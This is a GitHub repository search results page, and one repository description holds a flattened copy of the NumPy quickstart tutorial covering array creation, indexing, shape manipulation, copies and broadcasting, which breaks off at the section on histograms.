Found 68 repositories(showing 30)
stevenrskelton
Polymer Web Component that builds vertically ordered columns (timelines) from arbitrary DOM content
Aryia-Behroziuan
Quickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 9997 9998 9999] >>> >>> print(np.arange(10000).reshape(100,100)) [[ 0 1 2 ... 97 98 99] [ 100 101 102 ... 197 198 199] [ 200 201 202 ... 297 298 299] ... [9700 9701 9702 ... 9797 9798 9799] [9800 9801 9802 ... 9897 9898 9899] [9900 9901 9902 ... 9997 9998 9999]] To disable this behaviour and force NumPy to print the entire array, you can change the printing options using set_printoptions. >>> >>> np.set_printoptions(threshold=sys.maxsize) # sys module should be imported Basic Operations Arithmetic operators on arrays apply elementwise. A new array is created and filled with the result. >>> >>> a = np.array( [20,30,40,50] ) >>> b = np.arange( 4 ) >>> b array([0, 1, 2, 3]) >>> c = a-b >>> c array([20, 29, 38, 47]) >>> b**2 array([0, 1, 4, 9]) >>> 10*np.sin(a) array([ 9.12945251, -9.88031624, 7.4511316 , -2.62374854]) >>> a<35 array([ True, True, False, False]) Unlike in many matrix languages, the product operator * operates elementwise in NumPy arrays. The matrix product can be performed using the @ operator (in python >=3.5) or the dot function or method: >>> >>> A = np.array( [[1,1], ... [0,1]] ) >>> B = np.array( [[2,0], ... [3,4]] ) >>> A * B # elementwise product array([[2, 0], [0, 4]]) >>> A @ B # matrix product array([[5, 4], [3, 4]]) >>> A.dot(B) # another matrix product array([[5, 4], [3, 4]]) Some operations, such as += and *=, act in place to modify an existing array rather than create a new one. >>> >>> rg = np.random.default_rng(1) # create instance of default random number generator >>> a = np.ones((2,3), dtype=int) >>> b = rg.random((2,3)) >>> a *= 3 >>> a array([[3, 3, 3], [3, 3, 3]]) >>> b += a >>> b array([[3.51182162, 3.9504637 , 3.14415961], [3.94864945, 3.31183145, 3.42332645]]) >>> a += b # b is not automatically converted to integer type Traceback (most recent call last): ... numpy.core._exceptions.UFuncTypeError: Cannot cast ufunc 'add' output from dtype('float64') to dtype('int64') with casting rule 'same_kind' When operating with arrays of different types, the type of the resulting array corresponds to the more general or precise one (a behavior known as upcasting). >>> >>> a = np.ones(3, dtype=np.int32) >>> b = np.linspace(0,pi,3) >>> b.dtype.name 'float64' >>> c = a+b >>> c array([1. , 2.57079633, 4.14159265]) >>> c.dtype.name 'float64' >>> d = np.exp(c*1j) >>> d array([ 0.54030231+0.84147098j, -0.84147098+0.54030231j, -0.54030231-0.84147098j]) >>> d.dtype.name 'complex128' Many unary operations, such as computing the sum of all the elements in the array, are implemented as methods of the ndarray class. >>> >>> a = rg.random((2,3)) >>> a array([[0.82770259, 0.40919914, 0.54959369], [0.02755911, 0.75351311, 0.53814331]]) >>> a.sum() 3.1057109529998157 >>> a.min() 0.027559113243068367 >>> a.max() 0.8277025938204418 By default, these operations apply to the array as though it were a list of numbers, regardless of its shape. However, by specifying the axis parameter you can apply an operation along the specified axis of an array: >>> >>> b = np.arange(12).reshape(3,4) >>> b array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> b.sum(axis=0) # sum of each column array([12, 15, 18, 21]) >>> >>> b.min(axis=1) # min of each row array([0, 4, 8]) >>> >>> b.cumsum(axis=1) # cumulative sum along each row array([[ 0, 1, 3, 6], [ 4, 9, 15, 22], [ 8, 17, 27, 38]]) Universal Functions NumPy provides familiar mathematical functions such as sin, cos, and exp. In NumPy, these are called “universal functions”(ufunc). Within NumPy, these functions operate elementwise on an array, producing an array as output. >>> >>> B = np.arange(3) >>> B array([0, 1, 2]) >>> np.exp(B) array([1. , 2.71828183, 7.3890561 ]) >>> np.sqrt(B) array([0. , 1. , 1.41421356]) >>> C = np.array([2., -1., 4.]) >>> np.add(B, C) array([2., 0., 6.]) See also all, any, apply_along_axis, argmax, argmin, argsort, average, bincount, ceil, clip, conj, corrcoef, cov, cross, cumprod, cumsum, diff, dot, floor, inner, invert, lexsort, max, maximum, mean, median, min, minimum, nonzero, outer, prod, re, round, sort, std, sum, trace, transpose, var, vdot, vectorize, where Indexing, Slicing and Iterating One-dimensional arrays can be indexed, sliced and iterated over, much like lists and other Python sequences. >>> >>> a = np.arange(10)**3 >>> a array([ 0, 1, 8, 27, 64, 125, 216, 343, 512, 729]) >>> a[2] 8 >>> a[2:5] array([ 8, 27, 64]) # equivalent to a[0:6:2] = 1000; # from start to position 6, exclusive, set every 2nd element to 1000 >>> a[:6:2] = 1000 >>> a array([1000, 1, 1000, 27, 1000, 125, 216, 343, 512, 729]) >>> a[ : :-1] # reversed a array([ 729, 512, 343, 216, 125, 1000, 27, 1000, 1, 1000]) >>> for i in a: ... print(i**(1/3.)) ... 9.999999999999998 1.0 9.999999999999998 3.0 9.999999999999998 4.999999999999999 5.999999999999999 6.999999999999999 7.999999999999999 8.999999999999998 Multidimensional arrays can have one index per axis. These indices are given in a tuple separated by commas: >>> >>> def f(x,y): ... return 10*x+y ... >>> b = np.fromfunction(f,(5,4),dtype=int) >>> b array([[ 0, 1, 2, 3], [10, 11, 12, 13], [20, 21, 22, 23], [30, 31, 32, 33], [40, 41, 42, 43]]) >>> b[2,3] 23 >>> b[0:5, 1] # each row in the second column of b array([ 1, 11, 21, 31, 41]) >>> b[ : ,1] # equivalent to the previous example array([ 1, 11, 21, 31, 41]) >>> b[1:3, : ] # each column in the second and third row of b array([[10, 11, 12, 13], [20, 21, 22, 23]]) When fewer indices are provided than the number of axes, the missing indices are considered complete slices: >>> >>> b[-1] # the last row. Equivalent to b[-1,:] array([40, 41, 42, 43]) The expression within brackets in b[i] is treated as an i followed by as many instances of : as needed to represent the remaining axes. NumPy also allows you to write this using dots as b[i,...]. The dots (...) represent as many colons as needed to produce a complete indexing tuple. For example, if x is an array with 5 axes, then x[1,2,...] is equivalent to x[1,2,:,:,:], x[...,3] to x[:,:,:,:,3] and x[4,...,5,:] to x[4,:,:,5,:]. >>> >>> c = np.array( [[[ 0, 1, 2], # a 3D array (two stacked 2D arrays) ... [ 10, 12, 13]], ... [[100,101,102], ... [110,112,113]]]) >>> c.shape (2, 2, 3) >>> c[1,...] # same as c[1,:,:] or c[1] array([[100, 101, 102], [110, 112, 113]]) >>> c[...,2] # same as c[:,:,2] array([[ 2, 13], [102, 113]]) Iterating over multidimensional arrays is done with respect to the first axis: >>> >>> for row in b: ... print(row) ... [0 1 2 3] [10 11 12 13] [20 21 22 23] [30 31 32 33] [40 41 42 43] However, if one wants to perform an operation on each element in the array, one can use the flat attribute which is an iterator over all the elements of the array: >>> >>> for element in b.flat: ... print(element) ... 0 1 2 3 10 11 12 13 20 21 22 23 30 31 32 33 40 41 42 43 See also Indexing, Indexing (reference), newaxis, ndenumerate, indices Shape Manipulation Changing the shape of an array An array has a shape given by the number of elements along each axis: >>> >>> a = np.floor(10*rg.random((3,4))) >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.shape (3, 4) The shape of an array can be changed with various commands. Note that the following three commands all return a modified array, but do not change the original array: >>> >>> a.ravel() # returns the array, flattened array([3., 7., 3., 4., 1., 4., 2., 2., 7., 2., 4., 9.]) >>> a.reshape(6,2) # returns the array with a modified shape array([[3., 7.], [3., 4.], [1., 4.], [2., 2.], [7., 2.], [4., 9.]]) >>> a.T # returns the array, transposed array([[3., 1., 7.], [7., 4., 2.], [3., 2., 4.], [4., 2., 9.]]) >>> a.T.shape (4, 3) >>> a.shape (3, 4) The order of the elements in the array resulting from ravel() is normally “C-style”, that is, the rightmost index “changes the fastest”, so the element after a[0,0] is a[0,1]. If the array is reshaped to some other shape, again the array is treated as “C-style”. NumPy normally creates arrays stored in this order, so ravel() will usually not need to copy its argument, but if the array was made by taking slices of another array or created with unusual options, it may need to be copied. The functions ravel() and reshape() can also be instructed, using an optional argument, to use FORTRAN-style arrays, in which the leftmost index changes the fastest. The reshape function returns its argument with a modified shape, whereas the ndarray.resize method modifies the array itself: >>> >>> a array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) >>> a.resize((2,6)) >>> a array([[3., 7., 3., 4., 1., 4.], [2., 2., 7., 2., 4., 9.]]) If a dimension is given as -1 in a reshaping operation, the other dimensions are automatically calculated: >>> >>> a.reshape(3,-1) array([[3., 7., 3., 4.], [1., 4., 2., 2.], [7., 2., 4., 9.]]) See also ndarray.shape, reshape, resize, ravel Stacking together different arrays Several arrays can be stacked together along different axes: >>> >>> a = np.floor(10*rg.random((2,2))) >>> a array([[9., 7.], [5., 2.]]) >>> b = np.floor(10*rg.random((2,2))) >>> b array([[1., 9.], [5., 1.]]) >>> np.vstack((a,b)) array([[9., 7.], [5., 2.], [1., 9.], [5., 1.]]) >>> np.hstack((a,b)) array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) The function column_stack stacks 1D arrays as columns into a 2D array. It is equivalent to hstack only for 2D arrays: >>> >>> from numpy import newaxis >>> np.column_stack((a,b)) # with 2D arrays array([[9., 7., 1., 9.], [5., 2., 5., 1.]]) >>> a = np.array([4.,2.]) >>> b = np.array([3.,8.]) >>> np.column_stack((a,b)) # returns a 2D array array([[4., 3.], [2., 8.]]) >>> np.hstack((a,b)) # the result is different array([4., 2., 3., 8.]) >>> a[:,newaxis] # view `a` as a 2D column vector array([[4.], [2.]]) >>> np.column_stack((a[:,newaxis],b[:,newaxis])) array([[4., 3.], [2., 8.]]) >>> np.hstack((a[:,newaxis],b[:,newaxis])) # the result is the same array([[4., 3.], [2., 8.]]) On the other hand, the function row_stack is equivalent to vstack for any input arrays. In fact, row_stack is an alias for vstack: >>> >>> np.column_stack is np.hstack False >>> np.row_stack is np.vstack True In general, for arrays with more than two dimensions, hstack stacks along their second axes, vstack stacks along their first axes, and concatenate allows for an optional arguments giving the number of the axis along which the concatenation should happen. Note In complex cases, r_ and c_ are useful for creating arrays by stacking numbers along one axis. They allow the use of range literals (“:”) >>> >>> np.r_[1:4,0,4] array([1, 2, 3, 0, 4]) When used with arrays as arguments, r_ and c_ are similar to vstack and hstack in their default behavior, but allow for an optional argument giving the number of the axis along which to concatenate. See also hstack, vstack, column_stack, concatenate, c_, r_ Splitting one array into several smaller ones Using hsplit, you can split an array along its horizontal axis, either by specifying the number of equally shaped arrays to return, or by specifying the columns after which the division should occur: >>> >>> a = np.floor(10*rg.random((2,12))) >>> a array([[6., 7., 6., 9., 0., 5., 4., 0., 6., 8., 5., 2.], [8., 5., 5., 7., 1., 8., 6., 7., 1., 8., 1., 0.]]) # Split a into 3 >>> np.hsplit(a,3) [array([[6., 7., 6., 9.], [8., 5., 5., 7.]]), array([[0., 5., 4., 0.], [1., 8., 6., 7.]]), array([[6., 8., 5., 2.], [1., 8., 1., 0.]])] # Split a after the third and the fourth column >>> np.hsplit(a,(3,4)) [array([[6., 7., 6.], [8., 5., 5.]]), array([[9.], [7.]]), array([[0., 5., 4., 0., 6., 8., 5., 2.], [1., 8., 6., 7., 1., 8., 1., 0.]])] vsplit splits along the vertical axis, and array_split allows one to specify along which axis to split. Copies and Views When operating and manipulating arrays, their data is sometimes copied into a new array and sometimes not. This is often a source of confusion for beginners. There are three cases: No Copy at All Simple assignments make no copy of objects or their data. >>> >>> a = np.array([[ 0, 1, 2, 3], ... [ 4, 5, 6, 7], ... [ 8, 9, 10, 11]]) >>> b = a # no new object is created >>> b is a # a and b are two names for the same ndarray object True Python passes mutable objects as references, so function calls make no copy. >>> >>> def f(x): ... print(id(x)) ... >>> id(a) # id is a unique identifier of an object 148293216 # may vary >>> f(a) 148293216 # may vary View or Shallow Copy Different array objects can share the same data. The view method creates a new array object that looks at the same data. >>> >>> c = a.view() >>> c is a False >>> c.base is a # c is a view of the data owned by a True >>> c.flags.owndata False >>> >>> c = c.reshape((2, 6)) # a's shape doesn't change >>> a.shape (3, 4) >>> c[0, 4] = 1234 # a's data changes >>> a array([[ 0, 1, 2, 3], [1234, 5, 6, 7], [ 8, 9, 10, 11]]) Slicing an array returns a view of it: >>> >>> s = a[ : , 1:3] # spaces added for clarity; could also be written "s = a[:, 1:3]" >>> s[:] = 10 # s[:] is a view of s. Note the difference between s = 10 and s[:] = 10 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Deep Copy The copy method makes a complete copy of the array and its data. >>> >>> d = a.copy() # a new array object with new data is created >>> d is a False >>> d.base is a # d doesn't share anything with a False >>> d[0,0] = 9999 >>> a array([[ 0, 10, 10, 3], [1234, 10, 10, 7], [ 8, 10, 10, 11]]) Sometimes copy should be called after slicing if the original array is not required anymore. For example, suppose a is a huge intermediate result and the final result b only contains a small fraction of a, a deep copy should be made when constructing b with slicing: >>> >>> a = np.arange(int(1e8)) >>> b = a[:100].copy() >>> del a # the memory of ``a`` can be released. If b = a[:100] is used instead, a is referenced by b and will persist in memory even if del a is executed. Functions and Methods Overview Here is a list of some useful NumPy functions and methods names ordered in categories. See Routines for the full list. Array Creation arange, array, copy, empty, empty_like, eye, fromfile, fromfunction, identity, linspace, logspace, mgrid, ogrid, ones, ones_like, r_, zeros, zeros_like Conversions ndarray.astype, atleast_1d, atleast_2d, atleast_3d, mat Manipulations array_split, column_stack, concatenate, diagonal, dsplit, dstack, hsplit, hstack, ndarray.item, newaxis, ravel, repeat, reshape, resize, squeeze, swapaxes, take, transpose, vsplit, vstack Questions all, any, nonzero, where Ordering argmax, argmin, argsort, max, min, ptp, searchsorted, sort Operations choose, compress, cumprod, cumsum, inner, ndarray.fill, imag, prod, put, putmask, real, sum Basic Statistics cov, mean, std, var Basic Linear Algebra cross, dot, outer, linalg.svd, vdot Less Basic Broadcasting rules Broadcasting allows universal functions to deal in a meaningful way with inputs that do not have exactly the same shape. The first rule of broadcasting is that if all input arrays do not have the same number of dimensions, a “1” will be repeatedly prepended to the shapes of the smaller arrays until all the arrays have the same number of dimensions. The second rule of broadcasting ensures that arrays with a size of 1 along a particular dimension act as if they had the size of the array with the largest shape along that dimension. The value of the array element is assumed to be the same along that dimension for the “broadcast” array. After application of the broadcasting rules, the sizes of all arrays must match. More details can be found in Broadcasting. Advanced indexing and index tricks NumPy offers more indexing facilities than regular Python sequences. In addition to indexing by integers and slices, as we saw before, arrays can be indexed by arrays of integers and arrays of booleans. Indexing with Arrays of Indices >>> >>> a = np.arange(12)**2 # the first 12 square numbers >>> i = np.array([1, 1, 3, 8, 5]) # an array of indices >>> a[i] # the elements of a at the positions i array([ 1, 1, 9, 64, 25]) >>> >>> j = np.array([[3, 4], [9, 7]]) # a bidimensional array of indices >>> a[j] # the same shape as j array([[ 9, 16], [81, 49]]) When the indexed array a is multidimensional, a single array of indices refers to the first dimension of a. The following example shows this behavior by converting an image of labels into a color image using a palette. >>> >>> palette = np.array([[0, 0, 0], # black ... [255, 0, 0], # red ... [0, 255, 0], # green ... [0, 0, 255], # blue ... [255, 255, 255]]) # white >>> image = np.array([[0, 1, 2, 0], # each value corresponds to a color in the palette ... [0, 3, 4, 0]]) >>> palette[image] # the (2, 4, 3) color image array([[[ 0, 0, 0], [255, 0, 0], [ 0, 255, 0], [ 0, 0, 0]], [[ 0, 0, 0], [ 0, 0, 255], [255, 255, 255], [ 0, 0, 0]]]) We can also give indexes for more than one dimension. The arrays of indices for each dimension must have the same shape. >>> >>> a = np.arange(12).reshape(3,4) >>> a array([[ 0, 1, 2, 3], [ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> i = np.array([[0, 1], # indices for the first dim of a ... [1, 2]]) >>> j = np.array([[2, 1], # indices for the second dim ... [3, 3]]) >>> >>> a[i, j] # i and j must have equal shape array([[ 2, 5], [ 7, 11]]) >>> >>> a[i, 2] array([[ 2, 6], [ 6, 10]]) >>> >>> a[:, j] # i.e., a[ : , j] array([[[ 2, 1], [ 3, 3]], [[ 6, 5], [ 7, 7]], [[10, 9], [11, 11]]]) In Python, arr[i, j] is exactly the same as arr[(i, j)]—so we can put i and j in a tuple and then do the indexing with that. >>> >>> l = (i, j) # equivalent to a[i, j] >>> a[l] array([[ 2, 5], [ 7, 11]]) However, we can not do this by putting i and j into an array, because this array will be interpreted as indexing the first dimension of a. >>> >>> s = np.array([i, j]) # not what we want >>> a[s] Traceback (most recent call last): File "<stdin>", line 1, in <module> IndexError: index 3 is out of bounds for axis 0 with size 3 # same as a[i, j] >>> a[tuple(s)] array([[ 2, 5], [ 7, 11]]) Another common use of indexing with arrays is the search of the maximum value of time-dependent series: >>> >>> time = np.linspace(20, 145, 5) # time scale >>> data = np.sin(np.arange(20)).reshape(5,4) # 4 time-dependent series >>> time array([ 20. , 51.25, 82.5 , 113.75, 145. ]) >>> data array([[ 0. , 0.84147098, 0.90929743, 0.14112001], [-0.7568025 , -0.95892427, -0.2794155 , 0.6569866 ], [ 0.98935825, 0.41211849, -0.54402111, -0.99999021], [-0.53657292, 0.42016704, 0.99060736, 0.65028784], [-0.28790332, -0.96139749, -0.75098725, 0.14987721]]) # index of the maxima for each series >>> ind = data.argmax(axis=0) >>> ind array([2, 0, 3, 1]) # times corresponding to the maxima >>> time_max = time[ind] >>> >>> data_max = data[ind, range(data.shape[1])] # => data[ind[0],0], data[ind[1],1]... >>> time_max array([ 82.5 , 20. , 113.75, 51.25]) >>> data_max array([0.98935825, 0.84147098, 0.99060736, 0.6569866 ]) >>> np.all(data_max == data.max(axis=0)) True You can also use indexing with arrays as a target to assign to: >>> >>> a = np.arange(5) >>> a array([0, 1, 2, 3, 4]) >>> a[[1,3,4]] = 0 >>> a array([0, 0, 2, 0, 0]) However, when the list of indices contains repetitions, the assignment is done several times, leaving behind the last value: >>> >>> a = np.arange(5) >>> a[[0,0,2]]=[1,2,3] >>> a array([2, 1, 3, 3, 4]) This is reasonable enough, but watch out if you want to use Python’s += construct, as it may not do what you expect: >>> >>> a = np.arange(5) >>> a[[0,0,2]]+=1 >>> a array([1, 1, 3, 3, 4]) Even though 0 occurs twice in the list of indices, the 0th element is only incremented once. This is because Python requires “a+=1” to be equivalent to “a = a + 1”. Indexing with Boolean Arrays When we index arrays with arrays of (integer) indices we are providing the list of indices to pick. With boolean indices the approach is different; we explicitly choose which items in the array we want and which ones we don’t. The most natural way one can think of for boolean indexing is to use boolean arrays that have the same shape as the original array: >>> >>> a = np.arange(12).reshape(3,4) >>> b = a > 4 >>> b # b is a boolean with a's shape array([[False, False, False, False], [False, True, True, True], [ True, True, True, True]]) >>> a[b] # 1d array with the selected elements array([ 5, 6, 7, 8, 9, 10, 11]) This property can be very useful in assignments: >>> >>> a[b] = 0 # All elements of 'a' higher than 4 become 0 >>> a array([[0, 1, 2, 3], [4, 0, 0, 0], [0, 0, 0, 0]]) You can look at the following example to see how to use boolean indexing to generate an image of the Mandelbrot set: >>> import numpy as np import matplotlib.pyplot as plt def mandelbrot( h,w, maxit=20 ): """Returns an image of the Mandelbrot fractal of size (h,w).""" y,x = np.ogrid[ -1.4:1.4:h*1j, -2:0.8:w*1j ] c = x+y*1j z = c divtime = maxit + np.zeros(z.shape, dtype=int) for i in range(maxit): z = z**2 + c diverge = z*np.conj(z) > 2**2 # who is diverging div_now = diverge & (divtime==maxit) # who is diverging now divtime[div_now] = i # note when z[diverge] = 2 # avoid diverging too much return divtime plt.imshow(mandelbrot(400,400)) ../_images/quickstart-1.png The second way of indexing with booleans is more similar to integer indexing; for each dimension of the array we give a 1D boolean array selecting the slices we want: >>> >>> a = np.arange(12).reshape(3,4) >>> b1 = np.array([False,True,True]) # first dim selection >>> b2 = np.array([True,False,True,False]) # second dim selection >>> >>> a[b1,:] # selecting rows array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[b1] # same thing array([[ 4, 5, 6, 7], [ 8, 9, 10, 11]]) >>> >>> a[:,b2] # selecting columns array([[ 0, 2], [ 4, 6], [ 8, 10]]) >>> >>> a[b1,b2] # a weird thing to do array([ 4, 10]) Note that the length of the 1D boolean array must coincide with the length of the dimension (or axis) you want to slice. In the previous example, b1 has length 3 (the number of rows in a), and b2 (of length 4) is suitable to index the 2nd axis (columns) of a. The ix_() function The ix_ function can be used to combine different vectors so as to obtain the result for each n-uplet. For example, if you want to compute all the a+b*c for all the triplets taken from each of the vectors a, b and c: >>> >>> a = np.array([2,3,4,5]) >>> b = np.array([8,5,4]) >>> c = np.array([5,4,6,8,3]) >>> ax,bx,cx = np.ix_(a,b,c) >>> ax array([[[2]], [[3]], [[4]], [[5]]]) >>> bx array([[[8], [5], [4]]]) >>> cx array([[[5, 4, 6, 8, 3]]]) >>> ax.shape, bx.shape, cx.shape ((4, 1, 1), (1, 3, 1), (1, 1, 5)) >>> result = ax+bx*cx >>> result array([[[42, 34, 50, 66, 26], [27, 22, 32, 42, 17], [22, 18, 26, 34, 14]], [[43, 35, 51, 67, 27], [28, 23, 33, 43, 18], [23, 19, 27, 35, 15]], [[44, 36, 52, 68, 28], [29, 24, 34, 44, 19], [24, 20, 28, 36, 16]], [[45, 37, 53, 69, 29], [30, 25, 35, 45, 20], [25, 21, 29, 37, 17]]]) >>> result[3,2,4] 17 >>> a[3]+b[2]*c[4] 17 You could also implement the reduce as follows: >>> >>> def ufunc_reduce(ufct, *vectors): ... vs = np.ix_(*vectors) ... r = ufct.identity ... for v in vs: ... r = ufct(r,v) ... return r and then use it as: >>> >>> ufunc_reduce(np.add,a,b,c) array([[[15, 14, 16, 18, 13], [12, 11, 13, 15, 10], [11, 10, 12, 14, 9]], [[16, 15, 17, 19, 14], [13, 12, 14, 16, 11], [12, 11, 13, 15, 10]], [[17, 16, 18, 20, 15], [14, 13, 15, 17, 12], [13, 12, 14, 16, 11]], [[18, 17, 19, 21, 16], [15, 14, 16, 18, 13], [14, 13, 15, 17, 12]]]) The advantage of this version of reduce compared to the normal ufunc.reduce is that it makes use of the Broadcasting Rules in order to avoid creating an argument array the size of the output times the number of vectors. Indexing with strings See Structured arrays. Linear Algebra Work in progress. Basic linear algebra to be included here. Simple Array Operations See linalg.py in numpy folder for more. >>> >>> import numpy as np >>> a = np.array([[1.0, 2.0], [3.0, 4.0]]) >>> print(a) [[1. 2.] [3. 4.]] >>> a.transpose() array([[1., 3.], [2., 4.]]) >>> np.linalg.inv(a) array([[-2. , 1. ], [ 1.5, -0.5]]) >>> u = np.eye(2) # unit 2x2 matrix; "eye" represents "I" >>> u array([[1., 0.], [0., 1.]]) >>> j = np.array([[0.0, -1.0], [1.0, 0.0]]) >>> j @ j # matrix product array([[-1., 0.], [ 0., -1.]]) >>> np.trace(u) # trace 2.0 >>> y = np.array([[5.], [7.]]) >>> np.linalg.solve(a, y) array([[-3.], [ 4.]]) >>> np.linalg.eig(j) (array([0.+1.j, 0.-1.j]), array([[0.70710678+0.j , 0.70710678-0.j ], [0. -0.70710678j, 0. +0.70710678j]])) Parameters: square matrix Returns The eigenvalues, each repeated according to its multiplicity. The normalized (unit "length") eigenvectors, such that the column ``v[:,i]`` is the eigenvector corresponding to the eigenvalue ``w[i]`` . Tricks and Tips Here we give a list of short and useful tips. “Automatic” Reshaping To change the dimensions of an array, you can omit one of the sizes which will then be deduced automatically: >>> >>> a = np.arange(30) >>> b = a.reshape((2, -1, 3)) # -1 means "whatever is needed" >>> b.shape (2, 5, 3) >>> b array([[[ 0, 1, 2], [ 3, 4, 5], [ 6, 7, 8], [ 9, 10, 11], [12, 13, 14]], [[15, 16, 17], [18, 19, 20], [21, 22, 23], [24, 25, 26], [27, 28, 29]]]) Vector Stacking How do we construct a 2D array from a list of equally-sized row vectors? In MATLAB this is quite easy: if x and y are two vectors of the same length you only need do m=[x;y]. In NumPy this works via the functions column_stack, dstack, hstack and vstack, depending on the dimension in which the stacking is to be done. For example: >>> >>> x = np.arange(0,10,2) >>> y = np.arange(5) >>> m = np.vstack([x,y]) >>> m array([[0, 2, 4, 6, 8], [0, 1, 2, 3, 4]]) >>> xy = np.hstack([x,y]) >>> xy array([0, 2, 4, 6, 8, 0, 1, 2, 3, 4]) The logic behind those functions in more than two dimensions can be strange. See also NumPy for Matlab users Histograms The NumPy 